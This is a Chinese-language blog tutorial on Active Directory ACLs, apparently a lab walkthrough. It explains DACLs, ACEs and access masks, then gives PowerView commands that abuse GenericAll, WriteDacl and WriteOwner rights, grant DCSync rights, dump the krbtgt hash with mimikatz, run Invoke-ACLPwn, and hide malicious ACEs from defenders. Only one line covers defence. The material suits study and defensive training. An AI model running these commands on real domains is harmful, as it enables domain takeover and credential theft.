AD域里的ACL攻防
最近文章都写星球了,所以没怎么更新。昨天看到了安全客一篇说AD域里的ACL攻防
学习到了,写篇文章更新一下
原文地址:https://www.anquanke.com/post/id/212163#h3-19
注意:有些图和文字来自安全客
介绍
首先想要了解ACL首先需要了解Access Control Model(访问控制模型),根据官网(https://docs.microsoft.com/zh-cn/windows/win32/secauthz/access-control-model)给出的定义:
访问控制模型能够控制进程访问一些安全对象,或者是控制进程执行各种系统管理任务。原文:The access control model enables you to control the ability of a process to access securable objects or to perform various system administration tasks。
用通俗一点的话来说ACM就是一个判断你在一个档案馆(在这里可以理解为整个域)里是否有权限打开某个档案抽屉(用户对象、用户组对象、Computer对象),并且是否能在这个档案抽屉中取走、存放、修改档案(读、写、修改)的一个模型。
访问模型包含哪些部分:
1、Access Tokens(访问tokens)
2、Security Descriptors(安全描述符)
a、Discretionary Access Control List (DACL)
b、System Access Control List (SACL)
Access Control Lists(ACL)
Access Control Entries(ACE)
Access Rights and Access Masks(访问权限和访问掩码)
Access Token
当线程与安全对象交互或尝试执行需要特权的系统任务时,系统使用访问令牌来标识用户,访问令牌包括用户的SID、所在组的SID等等信息
Security Descriptors安全描述符
SID(Security Identifiers)即安全描述符。
安全描述符标识对象的所有者,并包含以下访问控制列表:
1、Discretionary Access Control List (DACL) 自由访问控制列表
2、System Access Control List (SACL) 系统访问控制列表
每一种控制列表中都存在若干条ACE(Access Control Entries)
一张图描述
DACL
高级安全设置中的权限就是DACL的列表
SACL
高级安全设置中的审核就是SACL的列表
其中红色圈出来的每一条都是一条ACE
ACE
ACE是针对特定用户或特定组的单个权限授予(或拒绝权利)的配置结构。ACE有许多不同类型,但是在Active Directory的权限中,只有四种不同的含义,两种分别用于授予和拒绝权限。
Access Mask
Access Mask在ACE中有Access Mask这个字段,它代表着此条ACE所对应的权限,比如完全控制(GenericAll)、修改密码(ResetPassword)、写入属性(WriteMembers)等等。
TrusteesTrustees
TrusteesTrustees的意思为受委托人,受托者是一个ACE所应用到的用户账户,组账户或者是登录会话。也就是说,谁是某一个ACE的受托者,那么这条ACE中的Access Mask所对应的权限(可能是拒绝可能是通过)就会赋予受托者。比如下面这一条的受委托人实际上就是zhangs账号。
AD域里常见可利用的ACl
- GenericAll :拥有一个可以完全控制用户/组的权限
- GenericWrite :此权限能够更新目标对象的属性值
- Self-Membership :这条权限指的是某个账户能够把自身添加到某个组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象)
- WriteProperty :WriteProperty直译为写所有权。这个权限利用针对的对象为组对象,能够赋予账户对于某个组的可写权限
- WriteOwner :WriteProperty on Group说的是对一个组具有WriteProperty权限的情况下,“写入全部属性”除了WriteProperty还包括了其他的权限
- WriteDacl :WriteDacl允许委托人修改受影响对象的DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。因此,WriteDacl是在链中启用其他权利的权利。
用到的工具
ADSI编辑器
powerview
GenericAll
GenericAll on User
使用powerview添加ACL或者手动
Add-DomainObjectAcl -TargetIdentity zhangs -PrincipalIdentity yayi -Rights All -Verbose
这个权限可以完全控制用户
给予了yayi对zhangs用户完全控制的权限,在查看zhangs的时候可以发现yayi的SID在查询里出现了
此时使用yayi的用户可以修改zhangs用户密码
GenericAll on Group
环境和上文相同,GenericAll on Group说的是对一个组有GenericAll权限,查看用户组domain admins:
(yayi是新增加的)
powerview将yayi用户添加到domain admins用户添加
Add-DomainObjectAcl -TargetIdentity "domain admins" -PrincipalIdentity yayi -Rights all -Verbose
添加yayi用户的ACL全部控制权限后查看
可以用yayi用户控制domain admins用户组
GenericWrite (写入全部属性)
GenericWrite也是在Access Mask中进行标识,此权限能够更新目标对象的属性值,可以使用PowerView中的Set-DomainObject方法设置目标属性的值。
如果您在计算机对象上具有这些特权,那么您可以拉出Kerberos基于资源的受限委托:计算机对象接管。
参考链接:https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution
修改别的属性
Set-DomainObject zhangs -Set @{'scriptPath'='雷电芽衣'} -Verbose
WriteDacl
WriteDacl允许委托人修改受影响对象的DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。因此,WriteDacl是在链中启用其他权利的权利。
个人感觉WriteDacl和GenericWrite没什么区别
Set-DomainObject zhangs -Set @{'scriptPath'='雷电女王'} -Verbose
Self-Membership
这条权限指的是某个账户能够把自身添加到某个组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象)
重点:主体、添加/删除自身作为成员
此时查看dnsadmins用户组可以看到test用户的sid在dnsadmins里看到了
WriteProperty (Self-Membership)
WriteProperty直译为写所有权。这个权限利用针对的对象为组对象,能够赋予账户对于某个组的可写权限,在Domain Admins组里设置zhangs账户的WriteProperty权限
WriteProperty和Self-Membership一样 (设置的地方一模一样或者直接设置权限为:添加/删除自身作为成员)
(也可以添加其他用户进控制的组)
WriteProperty on Group
WriteProperty on Group说的是对一个组具有WriteProperty权限的情况下,“写入全部属性”除了WriteProperty还包括了其他的权限:
CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, GenericRead, WriteDacl, WriteOwner
设置一个组的写入全部属性
(相当于获取了这个组的所有权限)
WriteOwner
WriteOwner权限允许委托人修改对象的安全描述符的所有者部分。也就是说,假如用户A对administrator用户有这个权限,那么A能利用这个权限给自己附加其他的权限。
将zhangs用户的所有者设置为test,并给予test用户完全的控制权限
Set-DomainObjectOwner -Identity S-1-5-21-447451162-2905414466-2158217208-1149 -OwnerIdentity "test" -Verbose
Add-DomainObjectAcl -TargetIdentity zhangs -PrincipalIdentity test -Rights All -Verbose
给一个用户添加DCSync权限
给予test用户:复制目录更改Replicating Directory Changes (DS-Replication-Get-Changes)、 复制目录更改所有Replicating Directory Changes All (DS-Replication-Get-Changes-All)(Exchange用的就是这个)权限
Add-DomainObjectAcl -TargetIdentity "DC=DOMAIN,DC=local" -PrincipalIdentity test -Rights DCSync
使用mimikatz导出krbtgt用户的hash
mimikatz.exe "lsadump::dcsync /user:DOMAIN\krbtgt" "exit"
Invoke-ACLPwn
运行时需要.NET 3.5环境,Windows Server 2012安装遇到报错,最后的解决方法(需要在网上下载SxS的安装包https://pan.baidu.com/share/init?surl=kDgdYerM0lVB32Q_IEqLUw提取码:gwzk):
dism.exe /online /enable-feature /all /featurename:NetFX3 /Source:F:\Sources\SxS\
GitHub地址:https://github.com/fox-it/Invoke-ACLPwn
背景信息在发布者博客上:https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
环境需要:
.NET 3.5 + sharphound.exe + mimikatz.exe
用法示例:
.\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -NoDCSync
.\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe
.\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -userAccountToPwn 'Administrator'
.\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -LogToFile
.\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -NoSecCleanup
.\Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'testuser' -Domain 'xenoflux.local' -Password 'Welcome01!'
使用第一条标识了-NoDCSync(不会做DCSync的动作,只判断是否能够存在能够DCSync的权限)的命令
administrator用户检测出来了其他用户报错
文章上的图
针对DACL的隐身方式
通过隐藏账户可以掩盖主体本身,阻止防御者轻易的发现谁实际上拥有ACE中指定的权限。这种方式主要应对的是对于高危的ACL进行扫描行为。
隐藏用户
1、将要隐藏的用户所有者改为攻击者或者攻击者控制的账户
2、设置一条拒绝完全控制的ACE
添加SELF用户和Everyone用户拒绝类型,将要修改的组/用户名的所有者改为攻击者控制的用户名
之后就会变成一片空白,powerview也查不到
Get-DomainObjectAcl -Identity user01 -domain DOMAIN.local -Resolve
各种ACL后门
* GPO ACL后门
* ACL Dcsync后门
具体参考文章
防御ACL修改
关注日志里的5136事件
参考链接
https://www.anquanke.com/post/id/212163#h3-19
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:AD域里的ACL攻防
本文作者:九世
发布时间:2020-08-02, 16:39:09
最后更新:2020-08-02, 17:44:13
原始链接:http://jiushill.github.io/posts/be9dae0a.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。